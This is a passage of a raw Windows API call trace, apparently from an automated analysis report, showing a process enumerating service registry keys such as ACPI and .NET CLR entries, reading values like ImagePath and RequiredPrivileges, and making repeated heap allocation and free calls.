Size=0x40) returned 0x21f18e0 [0193.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0193.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.910] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0193.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0193.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1c88, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0193.910] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.910] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.910] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0193.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f18e0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0193.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.911] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0193.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0193.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1c88, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0193.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.911] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0193.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0193.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f18e0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0193.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.911] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.911] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0193.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0193.911] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1c88, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0193.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.912] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0193.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0193.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.912] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0193.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0193.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.912] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0193.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0193.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0193.912] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0193.912] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0193.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.912] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0193.913] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0193.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0193.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.913] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.913] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0193.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0193.914] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0193.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0193.914] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0193.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0193.914] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0193.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0193.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0193.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0193.914] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0193.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0193.914] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0193.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0193.914] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0193.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0193.914] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0193.914] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0193.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0193.914] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0193.914] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0193.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.915] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0193.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0193.915] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0193.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0193.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0193.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0193.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0193.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0193.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0193.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0193.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0193.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0193.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0193.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0193.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0193.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0193.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0193.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0193.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0193.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0193.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0193.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0193.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0193.915] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0193.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0193.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0193.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0193.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0193.915] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d348) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21573f8) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0193.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0193.916] RegQueryValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x0, lpData=0x0, lpcbData=0x36f45c*=0x0) returned 0x2 [0193.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0193.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0193.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0193.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0193.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0193.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0193.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0193.916] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0193.916] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.917] RegQueryValueExA (in: hKey=0x14c, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x194) returned 0x0 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1c0) returned 0x2152850 [0193.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.917] RegQueryValueExA (in: hKey=0x14c, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x2152850, lpcbData=0x36f45c*=0x194 | out: lpType=0x36f454*=0x7, lpData=0x2152850*, lpcbData=0x36f45c*=0x194) returned 0x0 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0193.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0193.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0193.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0193.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0193.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0193.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, 